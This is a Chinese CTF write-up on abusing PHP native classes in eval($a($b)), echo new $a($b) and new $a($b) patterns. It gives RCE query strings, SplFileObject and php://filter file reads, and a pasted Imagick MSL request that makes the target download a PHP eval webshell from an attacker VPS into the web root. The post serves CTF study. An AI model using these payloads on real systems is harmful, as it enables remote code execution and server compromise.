前言
上一篇总结了一些ctf常用的原生类,这一篇看一下原生类的利用,大都是new $a($b)类型
$a($b)
其实不是原生类,只是一个简单的rce长的比较像也就放上了,比如我们rce的时候会构造命令
system('ls');
我们就可以想办法吧a=system&b=ls,比如
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval($a($b));
?>
?a=system&b=ls
有时反序列化也会遇到, 比如
<?php
highlight_file(__FILE__);
class Xxh{
public $a;
public $b;
public function __construct(){
eval($a($b));
}
}
if (isset($_GET['str']))
unserialize($_GET['str']);
?>
最简单的利用__construct()来执行 eval($a($b))
<?php
class Xxh{
public $a = 'system';
public $b = 'ls';
}
$a = new Xxh();
$a -> a = 'system';
$a -> b = 'ls';
echo serialize($a);
可以成功rce,可能也会遇到一些过滤,但大体的原理是这样的
eval("echo new $a($b);")
eval() 函数把字符串按照 PHP 代码来计算。
对于这个姿势很多帖子上说他利用随便一个原生类就可以rce,比如
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b);");
直接给a一个原生类b一个恶意命令就可以rce
确实成功执行了,但是为什么可以这样用呢,有点不理解
分析
我们利用的原生类大都是利用的里面的__toString(),echo类的话就会触发__toString()
他的返回值是执行恶意函数后返回返回的值,比如system('ls') ,他会先执行system然后剩下ls后返回,再经过eval后执行ls,造成命令执行
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
//echo new DirectoryIterator(system('ls'));
//echo $b;
echo new $a($b);
//echo new DirectoryIterator(system('ls'));
//echo $a;
?a=DirectoryIterator&b=system(%27ls%27)
echo new $a($b)
这个形式比上以个少了eval,根据上一个的分析肯定不能直接rce了,我们继续按上一个分析
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b);");
?a=DirectoryIterator&b=system(%27ls%27)
他首先执行了system后再利用eval执行了ls,但现在没有eval了肯定不能直接rce,但我们可以使用一个函数让它直接执行来返回值返回到页面,比如我们phpinfo();一下
?a=DirectoryIterator&b=phpinfo()
可以看到直接执行phpinfo()了,这就好说了,我们想办法去读取文件名,比如glob协议
?a=DirectoryIterator&b=glob://f*
可以看到我们成功读取到了文件名,但是我们再怎么去读文件里面的内容呢,
上一篇也提到了其他的原生类其中就有一个读取文件类SplFileObject,我们利用这个类去读取文件内容,但一般这个类只能读取到第一行,所以我们一般用伪协议来配合着一块用
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.txt
成功读取,base64解码即可
new $a($b)
最近比赛又遇见了个无echo的,虽然代码会执行,但我们没发拿到结果啊,比如
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
?>
看大佬写的文章
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b
大佬的wp,没环境了没法复现先贴一下wp,以后遇见再补充,以下是其他师傅的wp,他没写博客就直接粘贴了
?a=Imagick&b=http://.........:7777
按照⽂中的POC,在VPS中⽣成⼀个图⽚,含有⼀句话⽊⻢
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv
e.png
在VPS中监听12345端⼝,再往服务器发送请求包如下:
POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1Host: 1.1.1.1:32127Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmqTayg6bqrContent-Length: 348------WebKitFormBoundaryeTvfNEmqTayg6bqrContent-Disposition: form-data; name="123"; filename="exec.msl"Content-Type: text/plain<?xml version="1.0" encoding="UTF-8"?><image><read filename="http://vps:12345/positive.png" /><write filename="/var/www/html/positive.php"/></image>------WebKitFormBoundaryeTvfNEmqTayg6bqr--
发送后,靶机就往VPS中请求了该⽂件,并且把该⽂件下载到了指定⽬录
访问后即可RCE